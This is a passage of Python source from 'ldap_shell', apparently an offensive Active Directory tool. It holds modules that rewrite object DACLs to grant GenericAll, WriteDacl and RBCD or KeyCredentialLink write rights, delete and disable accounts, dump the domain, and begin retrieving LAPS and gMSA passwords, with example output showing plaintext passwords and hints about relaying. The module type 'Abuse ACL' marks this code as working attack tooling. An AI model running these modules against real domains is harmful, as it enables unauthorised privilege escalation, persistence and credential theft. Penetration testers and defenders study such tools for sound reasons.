74 |
75 | sd_data = self.client.entries[0]['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values
76 | if target_sid:
77 | sd = SR_SECURITY_DESCRIPTOR(data=sd_data[0])
78 | for ace in sd['Dacl'].aces:
79 | if ace['Ace']['Sid'].formatCanonical() == target_sid:
80 | #Delete ACE
81 | sd['Dacl'].aces.remove(ace)
82 |
83 | self.client.modify(target_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]})
84 |
85 | if self.client.result['result'] == 0:
86 | self.log.info(f'RBCD permissions cleared successfully! {self.args.grantee} can no longer impersonate users on {self.args.target}')
87 | else:
88 | self.log.error(f'Failed to modify RBCD permissions: {self.client.result["description"]}')
89 | else:
90 | sd = LdapUtils.create_empty_sd()
91 |
92 | self.client.modify(target_dn,
93 | {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]})
94 | self.log.info(f'RBCD permissions cleared successfully!')
95 |
96 | except Exception as e:
97 | self.log.error(f'Error processing security descriptor: {str(e)}')
98 | return
99 |
100 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/dacl_modify/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection, MODIFY_REPLACE, MODIFY_ADD, MODIFY_DELETE
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
6 | import ldap3
7 | from ldap_shell.utils.ldap_utils import LdapUtils
8 | from ldap_shell.utils.ace_utils import AceUtils
9 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR
10 | import re
11 |
12 | class LdapShellModule(BaseLdapModule):
13 | """Module for modifying DACL entries"""
14 |
15 | help_text = "Modify DACL entries for target object"
16 | examples_text = """
17 | You need to have elevated rights on the object to edit its ACEs.
18 | For adding or removing new ACEs, use an account with domain admin rights or GenericAll.
19 | Examples:
20 | Add GenericAll rights for user john on user admin:
21 | `dacl_modify "CN=john,CN=Users,DC=roasting,DC=lab" admin add 0xF01FF`
22 | ```
23 | [INFO] DACL modified successfully!
24 | ```
25 | Remove priviosly added GenericAll rights for user john on user admin:
26 | `dacl_modify "CN=john,CN=Users,DC=roasting,DC=lab" admin del GenericAll`
27 | ```
28 | [INFO] DACL modified successfully!
29 | ```
30 | Remove WriteDacl rights for admins group on admin user:
31 | `dacl_modify "CN=admins,CN=Users,DC=roasting,DC=lab" admin del WriteDacl`
32 | ```
33 | [INFO] DACL modified successfully!
34 | ```
35 | Add write permission for msDS-AllowedToActOnBehalfOfOtherIdentity property:
36 | `dacl_modify "CN=web_svc,CN=Computers,DC=roasting,DC=lab" admin add WritetoRBCD`
37 | ```
38 | [INFO] DACL modified successfully!
39 | ```
40 | """
41 | module_type = "Abuse ACL"
42 |
43 | class ModuleArgs(BaseModel):
44 | target: str = Field(
45 | description="Target object (DN or sAMAccountName)",
46 | arg_type=ArgumentType.DN
47 | )
48 | grantee: str = Field(
49 | description="Account to modify permissions for",
50 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER, ArgumentType.GROUP]
51 | )
52 | action: str = Field(
53 | description="Action: add/del",
54 | arg_type=ArgumentType.ADD_DEL
55 | )
56 | mask: str = Field(
57 | description="Permission type (genericall, writedacl etc.) or object GUID",
58 | arg_type=ArgumentType.MASK
59 | )
60 |
61 | def __init__(self, args_dict: dict,
62 | domain_dumper: domainDumper,
63 | client: Connection,
64 | log=None):
65 | self.args = self.ModuleArgs(**args_dict)
66 | self.domain_dumper = domain_dumper
67 | self.client = client
68 | self.log = log or logging.getLogger('ldap-shell.shell')
69 | self.mask_mapping = {
70 | "genericall": 0xF01FF, #GENERIC_ALL(0x10000000)
71 | "allextendedrights": 0x20134, #ADS_RIGHT_DS_CONTROL_ACCESS
72 | "genericwrite": 0x20034, #GENERIC_WRITE and RESET_PASSWORD
73 | "writeowner": 0xA0034, #WRITE_OWNER
74 | "writedacl": 0x60034, #WRITE_DACL
75 | "writeproperty": 0x20034, #ADS_RIGHT_DS_WRITE_PROP
76 | "delete": 0x30034 #DELETE
77 | }
78 | self.objects = {
79 | 'writetorbcd':'3F78C3E5-F79A-46BD-A0B8-9D18116DDC79', #ms-DS-AllowedToActOnBehalfOfOtherIdentity
80 | 'writetokeycredlink':'5B47D60F-6090-40B2-9F37-2A4DE88F3063' #ms-Ds-KeyCredentialLink
81 | }
82 |
83 | def __call__(self):
84 | # Get target DN
85 | if not LdapUtils.check_dn(self.client, self.domain_dumper, self.args.target):
86 | self.log.error(f'Invalid DN: {self.args.target}')
87 | return
88 | else:
89 | target_dn = self.args.target
90 |
91 | # Get grantee information
92 | grantee_sid = LdapUtils.get_sid(self.client, self.domain_dumper, self.args.grantee)
93 | if not grantee_sid:
94 | self.log.error(f'Grantee not found: {self.args.grantee}')
95 | return
96 |
97 | # Get current security descriptor
98 | try:
99 | sd_data, _ = LdapUtils.get_info_by_dn(self.client, self.domain_dumper, target_dn)
100 | sd = SR_SECURITY_DESCRIPTOR(data=sd_data[0]) if sd_data else AceUtils.create_empty_sd()
101 | except Exception as e:
102 | self.log.error(f'Error getting security descriptor: {str(e)}')
103 | return
104 |
105 | # Define ACE parameters
106 | if re.match(r'^0x[0-9a-fA-F]+$', self.args.mask):
107 | mask_value = int(self.args.mask, 16)
108 | object_type = None
109 | elif re.fullmatch(r"([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})", self.args.mask):
110 | mask_value = 32
111 | object_type = self.args.mask
112 | elif self.args.mask.lower() in self.mask_mapping:
113 | mask_value = self.mask_mapping[self.args.mask.lower()]
114 | object_type = None
115 | elif self.args.mask.lower() in self.objects:
116 | mask_value = 32
117 | object_type = self.objects[self.args.mask.lower()]
118 | else:
119 | self.log.error('Invalid mask or object type')
120 | return
121 |
122 | # Create/delete ACE
123 | if self.args.action.lower() == 'add':
124 | ace = AceUtils.createACE(
125 | sid=grantee_sid,
126 | access_mask=mask_value,
127 | object_type=object_type
128 | )
129 | sd['Dacl'].aces.append(ace)
130 | elif self.args.action.lower() == 'del':
131 | sd['Dacl'].aces = [
132 | ace for ace in sd['Dacl'].aces
133 | if not self._ace_matches(ace, grantee_sid, mask_value, object_type)
134 | ]
135 | else:
136 | self.log.error('Invalid action, use add/del')
137 | return
138 |
139 | # Apply changes
140 | try:
141 | res = self.client.modify(
142 | target_dn,
143 | {'nTSecurityDescriptor': [(MODIFY_REPLACE, [sd.getData()])]},
144 | controls=ldap3.protocol.microsoft.security_descriptor_control(sdflags=0x04)
145 | )
146 | except Exception as e:
147 | self.log.info(f'{target_dn} {self.args.grantee} {self.args.action} {self.args.mask}')
148 | self.log.error(f'Modification failed: {str(e)}')
149 | return
150 |
151 | if res:
152 | self.log.info('DACL modified successfully!')
153 | if self.client.authentication == 'ANONYMOUS':
154 | self.log.info('For changes to take effect, please restart ldap_shell')
155 | else:
156 | self.log.error('Failed to modify DACL: %s', self.client.result['description'])
157 |
158 | def _ace_matches(self, ace, sid, mask, object_type):
159 | """Check if ACE matches given parameters"""
160 | if ace['Ace']['Sid'].formatCanonical() != sid:
161 | return False
162 |
163 | if mask is not None and ace['Ace']['Mask'].hasPriv(mask):
164 | return True
165 |
166 | if object_type is not None:
167 | try:
168 | return ace['Ace']['ObjectType'] == LdapUtils.string_to_bin(object_type)
169 | except AttributeError:
170 | return False
171 | return False
172 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/del_computer/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
7 | from ldap_shell.utils.ldap_utils import LdapUtils
8 | import re
9 | from ldap3.utils.conv import escape_filter_chars
10 |
11 | class LdapShellModule(BaseLdapModule):
12 | """Module for deleting computer accounts from Active Directory"""
13 |
14 | help_text = "Delete a computer account from the domain"
15 | examples_text = """
16 | Example: Delete computer
17 | `del_computer SRV01$`
18 | ```
19 | [INFO] Computer SRV01$ deleted successfully!
20 | ```
21 | """
22 | module_type = "Misc"
23 |
24 | class ModuleArgs(BaseModel):
25 | computer_name: str = Field(
26 | description="Computer account name (must end with $)",
27 | arg_type=ArgumentType.COMPUTER
28 | )
29 |
30 | def __init__(self, args_dict: dict,
31 | domain_dumper: domainDumper,
32 | client: Connection,
33 | log=None):
34 | self.args = self.ModuleArgs(**args_dict)
35 | self.domain_dumper = domain_dumper
36 | self.client = client
37 | self.log = log or logging.getLogger('ldap-shell.shell')
38 |
39 | def __call__(self):
40 | # Validate computer name format
41 | if not self.args.computer_name.endswith('$'):
42 | self.args.computer_name = self.args.computer_name + '$'
43 |
44 | try:
45 | # Search for computer
46 | search_filter = f'(sAMAccountName={escape_filter_chars(self.args.computer_name)})'
47 | if not self.client.search(self.domain_dumper.root, search_filter, attributes=['distinguishedName']):
48 | self.log.error(f"Computer {self.args.computer_name} not found in domain")
49 | return
50 |
51 | if not self.client.entries:
52 | self.log.error(f"Computer {self.args.computer_name} not found in domain")
53 | return
54 |
55 | computer_dn = self.client.entries[0].entry_dn
56 | self.log.info(f"Found computer DN: {computer_dn}")
57 |
58 | # Delete computer
59 | result = self.client.delete(computer_dn)
60 |
61 | if result:
62 | self.log.info(f'Computer {self.args.computer_name} deleted successfully!')
63 | else:
64 | error_msg = self.client.result
65 | self.log.error(f'Failed to delete computer: {error_msg}')
66 |
67 | except Exception as e:
68 | self.log.error(f'Error deleting computer: {str(e)}')
69 | if 'insufficient access rights' in str(e).lower():
70 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials')
71 |
72 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/del_dcsync/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection, MODIFY_REPLACE
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.prompt import Prompt
7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
8 | from ldap3.protocol.microsoft import security_descriptor_control
9 | from ldap3.utils.conv import escape_filter_chars
10 | from ldap_shell.utils.ldap_utils import LdapUtils
11 | from ldap_shell.utils.ace_utils import AceUtils
12 | import ldap_shell.utils.ldaptypes as ldaptypes
13 | from ldap_shell.utils.ldap_utils import LdapUtils
14 | class LdapShellModule(BaseLdapModule):
15 | """Module to remove DS-Replication privileges from target"""
16 |
17 | help_text = "Remove DCSync rights from user/computer by deleting ACEs in domain DACL"
18 | examples_text = """
19 | Remove DCSync privileges from target user
20 | `del_dcsync CN=John Doe,CN=Users,DC=contoso,DC=com`
21 | ```
22 | [INFO] DCSync rights removed from John Doe
23 | ```
24 | """
25 | module_type = "Abuse ACL"
26 |
27 | class ModuleArgs(BaseModel):
28 | target: Optional[str] = Field(
29 | description="Target DN of user/computer to revoke rights",
30 | arg_type=[ArgumentType.DN]
31 | )
32 |
33 | def __init__(self, args_dict: dict,
34 | domain_dumper: domainDumper,
35 | client: Connection,
36 | log=None):
37 | self.args = self.ModuleArgs(**args_dict)
38 | self.domain_dumper = domain_dumper
39 | self.client = client
40 | self.log = log or logging.getLogger('ldap-shell.shell')
41 |
42 | def __call__(self):
43 | if not LdapUtils.check_dn(self.client, self.domain_dumper, self.args.target):
44 | self.log.error('Invalid DN: %s', self.args.target)
45 | return
46 |
47 | ldap_attribute = 'nTSecurityDescriptor'
48 | target_dn = self.domain_dumper.root
49 | user_dn = self.args.target
50 | sd_data, domain_root_sid = LdapUtils.get_info_by_dn(self.client, self.domain_dumper, target_dn)
51 | _, user_sid = LdapUtils.get_info_by_dn(self.client, self.domain_dumper, user_dn)
52 |
53 | if not sd_data:
54 | self.log.error('Failed to retrieve domain security descriptor')
55 | return
56 |
57 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data[0])
58 | dcsync_guids = {
59 | LdapUtils.string_to_bin('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'),
60 | LdapUtils.string_to_bin('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'),
61 | LdapUtils.string_to_bin('89e95b76-444d-4c62-991a-0facbeda640c')
62 | }
63 |
64 | if len(sd_data) < 1:
65 | raise Exception(f'Check if target have write access to the domain object')
66 | else:
67 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data[0])
68 |
69 | new_aces = []
70 | for ace in sd['Dacl'].aces:
71 | if ace['Ace']['Sid'].formatCanonical() == user_sid:
72 | try:
73 | # Convert binary ObjectType to string
74 | object_type = ace['Ace']['ObjectType']
75 | if object_type in dcsync_guids: # <-- direct binary data comparison
76 | continue
77 | except AttributeError:
78 | pass
79 | new_aces.append(ace)
80 |
81 | # Apply changes
82 | sd['Dacl'].aces = new_aces
83 | self.client.modify(
84 | target_dn,
85 | {'nTSecurityDescriptor': [MODIFY_REPLACE, [sd.getData()]]},
86 | controls=security_descriptor_control(sdflags=0x04)
87 | )
88 |
89 | if self.client.result['result'] == 0:
90 | user_name = LdapUtils.get_name_from_dn(user_dn)
91 | self.log.info(f'DCSync rights removed from {user_name}')
92 | else:
93 | self.process_error_response()
94 |
95 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/del_group/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection, SUBTREE
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
7 |
8 | class LdapShellModule(BaseLdapModule):
9 | """Module for deleting groups from Active Directory"""
10 |
11 | help_text = "Delete group from Active Directory"
12 | examples_text = """
13 | Delete a group by name
14 | `del_group "Test Group"`
15 | """
16 | module_type = "Misc"
17 |
18 | class ModuleArgs(BaseModel):
19 | group_name: str = Field(
20 | description="Name of the group to delete",
21 | arg_type=[ArgumentType.GROUP]
22 | )
23 |
24 | def __init__(self, args_dict: dict,
25 | domain_dumper: domainDumper,
26 | client: Connection,
27 | log=None):
28 | self.args = self.ModuleArgs(**args_dict)
29 | self.domain_dumper = domain_dumper
30 | self.client = client
31 | self.log = log or logging.getLogger('ldap-shell.shell')
32 |
33 | def __call__(self):
34 | # Search for group by name
35 | self.client.search(
36 | self.domain_dumper.root,
37 | f'(&(objectClass=group)(sAMAccountName={self.args.group_name}))',
38 | SUBTREE,
39 | attributes=['distinguishedName']
40 | )
41 |
42 | if len(self.client.entries) == 0:
43 | self.log.error(f"Group {self.args.group_name} not found")
44 | return
45 |
46 | group_dn = self.client.entries[0].distinguishedName.value
47 |
48 | # Delete the group
49 | if self.client.delete(group_dn):
50 | self.log.info(f"Group {self.args.group_name} deleted successfully")
51 | else:
52 | self.log.error(f"Failed to delete group {self.args.group_name}: {self.client.result}")
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/del_user/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
7 | from ldap_shell.utils.ldap_utils import LdapUtils
8 | import re
9 | from ldap3.utils.conv import escape_filter_chars
10 |
11 | class LdapShellModule(BaseLdapModule):
12 | """Module for deleting user accounts from Active Directory"""
13 |
14 | help_text = "Delete a user account from the domain"
15 | examples_text = """
16 | Example: Delete user
17 | `del_user john.doe`
18 | ```
19 | [INFO] User john.doe deleted successfully!
20 | ```
21 | """
22 | module_type = "Misc"
23 |
24 | class ModuleArgs(BaseModel):
25 | username: str = Field(
26 | description="Username to delete",
27 | arg_type=ArgumentType.USER
28 | )
29 |
30 | def __init__(self, args_dict: dict,
31 | domain_dumper: domainDumper,
32 | client: Connection,
33 | log=None):
34 | self.args = self.ModuleArgs(**args_dict)
35 | self.domain_dumper = domain_dumper
36 | self.client = client
37 | self.log = log or logging.getLogger('ldap-shell.shell')
38 |
39 | def __call__(self):
40 | try:
41 | # Search for user
42 | search_filter = f'(sAMAccountName={escape_filter_chars(self.args.username)})'
43 | if not self.client.search(self.domain_dumper.root, search_filter, attributes=['distinguishedName']):
44 | self.log.error(f"User {self.args.username} not found in domain")
45 | return
46 |
47 | if not self.client.entries:
48 | self.log.error(f"User {self.args.username} not found in domain")
49 | return
50 |
51 | user_dn = self.client.entries[0].entry_dn
52 | self.log.info(f"Found user DN: {user_dn}")
53 |
54 | # Delete user
55 | result = self.client.delete(user_dn)
56 |
57 | if result:
58 | self.log.info(f'User {self.args.username} deleted successfully!')
59 | else:
60 | error_msg = self.client.result
61 | self.log.error(f'Failed to delete user: {error_msg}')
62 |
63 | except Exception as e:
64 | self.log.error(f'Error deleting user: {str(e)}')
65 | if 'insufficient access rights' in str(e).lower():
66 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials')
67 |
68 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/del_user_from_group/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.prompt import Prompt
7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
8 | import ldap3
9 | from ldap_shell.utils.ldap_utils import LdapUtils
10 |
11 | class LdapShellModule(BaseLdapModule):
12 | """Module for deleting a user from a group"""
13 |
14 | help_text = "Delete a user from a group"
15 | examples_text = """
16 | Example: delete john.doe from Domain Admins group
17 | `del_user_from_group john.doe "Domain Admins"`
18 | ```
19 | [INFO] Successfully deleted "john.doe" from "Domain Admins"
20 | ```
21 | """
22 | module_type = "Abuse ACL"
23 |
24 | class ModuleArgs(BaseModel):
25 | user: str = Field(
26 | description="Target AD user",
27 | arg_type=[ArgumentType.USER, ArgumentType.GROUP]
28 | )
29 | group: str = Field(
30 | description="Target AD group",
31 | arg_type=ArgumentType.GROUP
32 | )
33 |
34 | def __init__(self, args_dict: dict,
35 | domain_dumper: domainDumper,
36 | client: Connection,
37 | log=None):
38 | self.args = self.ModuleArgs(**args_dict)
39 | self.domain_dumper = domain_dumper
40 | self.client = client
41 | self.log = log or logging.getLogger('ldap-shell.shell')
42 |
43 | def __call__(self):
44 | user_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.user)
45 | if not user_dn:
46 | self.log.error(f'User not found: {self.args.user}')
47 | return
48 |
49 | group_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.group)
50 | if not group_dn:
51 | self.log.error(f'Group not found: {self.args.group}')
52 | return
53 |
54 | try:
55 | res = self.client.modify(
56 | group_dn,
57 | {'member': [(ldap3.MODIFY_DELETE, [user_dn])]}
58 | )
59 | except Exception as e:
60 | self.log.error(f'Failed to delete user: {str(e)}')
61 | return
62 |
63 | if res:
64 | self.log.info('Successfully deleted "%s" from "%s"', self.args.user, self.args.group)
65 | current_user = self.client.extend.standard.who_am_i().split(',')[0][3:]
66 | if current_user.lower() == self.args.user.lower():
67 | self.log.warning('You modified your own group membership. Re-login may be required.')
68 | else:
69 | self.log.error('Failed to delete user: %s', self.client.result['description'])
70 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/disable_account/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
7 | from ldap_shell.utils.ldap_utils import LdapUtils
8 | import re
9 | from ldap3.utils.conv import escape_filter_chars
10 | import ldap3
11 |
12 | class LdapShellModule(BaseLdapModule):
13 | """Module for disabling user accounts in Active Directory"""
14 |
15 | help_text = "Disable a user account in the domain"
16 | examples_text = """
17 | Example: Disable user account
18 | `disable_account john.doe`
19 | ```
20 | [INFO] Found user DN: CN=john.doe,CN=Users,DC=domain,DC=local
21 | [INFO] Original userAccountControl: 512
22 | [INFO] User john.doe disabled successfully!
23 | ```
24 | """
25 | module_type = "Misc"
26 |
27 | class ModuleArgs(BaseModel):
28 | username: str = Field(
29 | description="Username to disable",
30 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER]
31 | )
32 |
33 | def __init__(self, args_dict: dict,
34 | domain_dumper: domainDumper,
35 | client: Connection,
36 | log=None):
37 | self.args = self.ModuleArgs(**args_dict)
38 | self.domain_dumper = domain_dumper
39 | self.client = client
40 | self.log = log or logging.getLogger('ldap-shell.shell')
41 |
42 | def __call__(self):
43 | UF_ACCOUNT_DISABLE = 2 # Flag to disable account
44 |
45 | try:
46 | # Search for user
47 | search_filter = f'(sAMAccountName={escape_filter_chars(self.args.username)})'
48 | if not self.client.search(self.domain_dumper.root, search_filter,
49 | attributes=['objectSid', 'userAccountControl']):
50 | self.log.error(f"User {self.args.username} not found in domain")
51 | return
52 |
53 | if not self.client.entries:
54 | self.log.error(f"User {self.args.username} not found in domain")
55 | return
56 |
57 | user_dn = self.client.entries[0].entry_dn
58 | user_account_control = self.client.entries[0]['userAccountControl'].value
59 |
60 | self.log.info(f"Found user DN: {user_dn}")
61 | self.log.info(f"Original userAccountControl: {user_account_control}")
62 |
63 | # Set account disable flag
64 | new_user_account_control = user_account_control | UF_ACCOUNT_DISABLE
65 |
66 | # Update userAccountControl attribute
67 | result = self.client.modify(user_dn,
68 | {'userAccountControl': (ldap3.MODIFY_REPLACE, [new_user_account_control])})
69 |
70 | if result:
71 | self.log.info(f'User {self.args.username} disabled successfully!')
72 | else:
73 | error_msg = self.client.result
74 | self.log.error(f'Failed to disable user: {error_msg}')
75 |
76 | except Exception as e:
77 | self.log.error(f'Error disabling user: {str(e)}')
78 | if 'insufficient access rights' in str(e).lower():
79 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials')
80 |
81 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/dump/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional, List
6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ModuleArgument, ArgumentType
7 |
8 | class LdapShellModule(BaseLdapModule):
9 | """Module for dumping information from AD. This command will perform the same action as running the ldapdomaindump tool"""
10 |
11 | help_text = "Dumps the domain"
12 | examples_text = """
13 | Dump domain information to current directory
14 | `dump`
15 | Dump domain information to /tmp/
16 | `dump /tmp/`
17 | """
18 | module_type = "Get Info"
19 |
20 | class ModuleArgs(BaseModel):
21 | output_dir: Optional[str] = Field(
22 | None, # This argument is not required
23 | description="Directory to save dump files",
24 | arg_type=ArgumentType.DIRECTORY
25 | )
26 |
27 | def __init__(self, args_dict: dict,
28 | domain_dumper: domainDumper,
29 | client: Connection,
30 | log=None):
31 | self.args = self.ModuleArgs(**args_dict)
32 | self.domain_dumper = domain_dumper
33 | self.client = client
34 | self.log = log or logging.getLogger('ldap-shell.shell')
35 |
36 | def __call__(self):
37 | self.log.info('Starting dump operation...')
38 |
39 | if self.args.output_dir:
40 | self.domain_dumper.config.basepath = self.args.output_dir
41 |
42 | self.domain_dumper.domainDump()
43 | self.log.info(f'Domain info dumped into {self.args.output_dir}')
44 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/enable_account/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
7 | from ldap_shell.utils.ldap_utils import LdapUtils
8 | import re
9 | from ldap3.utils.conv import escape_filter_chars
10 | import ldap3
11 |
12 | class LdapShellModule(BaseLdapModule):
13 | """Module for enabling user accounts in Active Directory"""
14 |
15 | help_text = "Enable a user account in the domain"
16 | examples_text = """
17 | Example: Enable user account
18 | `enable_account john.doe`
19 | ```
20 | [INFO] Found user DN: CN=john.doe,CN=Users,DC=domain,DC=local
21 | [INFO] Original userAccountControl: 514
22 | [INFO] User john.doe enabled successfully!
23 | ```
24 | """
25 | module_type = "Misc"
26 |
27 | class ModuleArgs(BaseModel):
28 | username: str = Field(
29 | description="Username to enable",
30 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER]
31 | )
32 |
33 | def __init__(self, args_dict: dict,
34 | domain_dumper: domainDumper,
35 | client: Connection,
36 | log=None):
37 | self.args = self.ModuleArgs(**args_dict)
38 | self.domain_dumper = domain_dumper
39 | self.client = client
40 | self.log = log or logging.getLogger('ldap-shell.shell')
41 |
42 | def __call__(self):
43 | UF_ACCOUNT_DISABLE = 2 # Flag for disabling account
44 |
45 | try:
46 | # Search for user
47 | search_filter = f'(sAMAccountName={escape_filter_chars(self.args.username)})'
48 | if not self.client.search(self.domain_dumper.root, search_filter,
49 | attributes=['objectSid', 'userAccountControl']):
50 | self.log.error(f"User {self.args.username} not found in domain")
51 | return
52 |
53 | if not self.client.entries:
54 | self.log.error(f"User {self.args.username} not found in domain")
55 | return
56 |
57 | user_dn = self.client.entries[0].entry_dn
58 | user_account_control = self.client.entries[0]['userAccountControl'].value
59 |
60 | self.log.info(f"Found user DN: {user_dn}")
61 | self.log.info(f"Original userAccountControl: {user_account_control}")
62 |
63 | # Remove account disable flag
64 | new_user_account_control = user_account_control & ~UF_ACCOUNT_DISABLE
65 |
66 | # Update userAccountControl attribute
67 | result = self.client.modify(user_dn,
68 | {'userAccountControl': (ldap3.MODIFY_REPLACE, [new_user_account_control])})
69 |
70 | if result:
71 | self.log.info(f'User {self.args.username} enabled successfully!')
72 | else:
73 | error_msg = self.client.result
74 | self.log.error(f'Failed to enable user: {error_msg}')
75 |
76 | except Exception as e:
77 | self.log.error(f'Error enabling user: {str(e)}')
78 | if 'insufficient access rights' in str(e).lower():
79 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials')
80 |
81 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/get_group_users/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.prompt import Prompt
7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
8 | from ldap_shell.utils.ldap_utils import LdapUtils
9 |
10 | class LdapShellModule(BaseLdapModule):
11 | """Module for retrieves all users in a group"""
12 |
13 | help_text = "Get all users in a group"
14 | examples_text = """
15 | Example 1
16 | `get_group_users group`
17 | ```
18 | [INFO] sccm_admin - SCCM Servers Admin
19 | [INFO] sqldeveloper - SQL Developer
20 | [INFO] sqlplus - SQL*Plus
21 | [INFO] j.doe - John Doe
22 | ```
23 | """
24 | module_type = "Get Info" # Get Info, Abuse ACL, Misc and Other.
25 | LDAP_MATCHING_RULE_IN_CHAIN = '1.2.840.113556.1.4.1941'
26 | class ModuleArgs(BaseModel):
27 | group: Optional[str] = Field(
28 | ..., # This argument is required
29 | description="Group name",
30 | arg_type=ArgumentType.GROUP
31 | )
32 |
33 | def __init__(self, args_dict: dict,
34 | domain_dumper: domainDumper,
35 | client: Connection,
36 | log=None):
37 | self.args = self.ModuleArgs(**args_dict)
38 | self.domain_dumper = domain_dumper
39 | self.client = client
40 | self.log = log or logging.getLogger('ldap-shell.shell')
41 |
42 | def __call__(self):
43 | group_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.group)
44 | if not group_dn:
45 | raise Exception(f'Group not found in LDAP: {self.args.group}')
46 |
47 | self.client.search(self.domain_dumper.root,
48 | f'(memberof:{self.LDAP_MATCHING_RULE_IN_CHAIN}:={group_dn})',
49 | attributes=['sAMAccountName', 'name'])
50 | for entry in self.client.entries:
51 | self.log.info(f'{entry["sAMAccountName"].value} - {entry["name"].value}')
52 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/get_laps_gmsa/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
7 | from Cryptodome.Hash import MD4
8 | import binascii
9 | from ldap_shell.utils.security_utils import MSDS_MANAGEDPASSWORD_BLOB
10 | from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek
11 | from impacket.dcerpc.v5 import transport, epm, gkdi
12 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
13 | from pyasn1.codec.der import decoder
14 | from pyasn1_modules import rfc5652
15 | import json
16 | import re
17 |
18 | class LdapShellModule(BaseLdapModule):
19 | """Module for retrieving LAPS and GMSA passwords"""
20 |
21 | help_text = "Retrieves LAPS and GMSA passwords associated with a given account (sAMAccountName) or for all. Supported LAPS 2.0"
22 | examples_text = """
23 | Get all LAPS and GMSA passwords
24 | `get_laps_gmsa`
25 | ```
26 | [INFO] [LAPS v2] SRV1$: 2ph97sJVNl8PB1
27 | [INFO] [LAPS v1] SRV2$: 1BP8lNVJs79hp2
28 | [INFO] No GMSA accounts found
29 | ```
30 | Get LAPS and GMSA passwords for machine account wks1$
31 | `get_laps_gmsa wks1$`
32 | ```
33 | [INFO] [LAPS v2] wks1$: 2ph97sJVNl8PB1
34 | ```
35 | """
36 | module_type = "Get Info"
37 |
